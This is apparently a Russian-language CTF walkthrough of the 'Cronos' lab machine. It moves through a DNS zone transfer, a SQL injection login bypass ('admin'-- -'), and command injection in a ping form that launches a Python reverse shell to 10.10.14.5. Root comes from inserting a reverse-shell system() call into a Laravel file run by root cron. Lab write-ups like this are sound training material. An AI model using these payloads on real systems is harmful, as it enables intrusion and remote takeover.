Обзор сервисов

Машине присвоен IP-адрес 10.10.10.13, проведем разведку с помощью nmapAutomator:

$ nmapAutomator.sh -H 10.10.10.13 -t Full

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Видим, помимо стандартных портов, порт для DNS.

Добавим cronos.htb в /etc/hosts.

$ sudo nano /etc/hosts
10.10.10.13 cronos.htb

Alt text

С помощью dig обратимся к DNS-серверу и узнаем все поддомены.

$ dig axfr @10.10.10.13 cronos.htb
; <<>> DiG 9.16.15-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 60 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Wed May 26 12:32:09 MSK 2021
;; XFR size: 7 records (messages 1, bytes 203)

Также добавим домен admin.cronos.htb в /etc/hosts.

SQL Injection

Alt text

Проведем SQL-инъекцию, в поле username вставим admin'-- -.

OS Command Injection

Alt text

Мы можем провести атаку Command Injection.

ping $ 127.0.0.1;CMD

Запустим слушателя:

rlwrap nc -lnvp 1234

Выберем ping и вставим кусок кода:

127.0.0.1;export RHOST="10.10.14.5";export RPORT=1234;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Alt text

Креды базы данных

www-data@cronos:/var/www/admin$ cat config.php
<?php
   define('DB_SERVER', 'localhost');
   define('DB_USERNAME', 'admin');
   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
   define('DB_DATABASE', 'admin');
   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>

Пользовательский флаг

www-data@cronos:/home/noulis$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:00:c9 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.13/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:c9/64 scope global mngtmpaddr dynamic
       valid_lft 86201sec preferred_lft 14201sec
    inet6 fe80::250:56ff:feb9:c9/64 scope link
       valid_lft forever preferred_lft forever
www-data@cronos:/home/noulis$ cat user.txt
51d236438b333970dbba7dc3089be33b

Повышение привилегий

С помощью LinEnum находим выполнение скрипта artisan от Laravel от имени root.

* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

Запустим слушателя:

rlwrap nc -lnvp 1235

Модифицируем файл /var/www/laravel/app/Console/Kernel.php, добавим туда такой код.

system("export RHOST=\"10.10.14.5\";export RPORT=1235;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")'");

Alt text

Alt text

Флаг суперпользователя

root@cronos:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:00:c9 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.13/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:c9/64 scope global mngtmpaddr dynamic
       valid_lft 86100sec preferred_lft 14100sec
    inet6 fe80::250:56ff:feb9:c9/64 scope link
       valid_lft forever preferred_lft forever
root@cronos:~# cat root.txt
1703b8a3c9a8dde879942c79d02fd3a0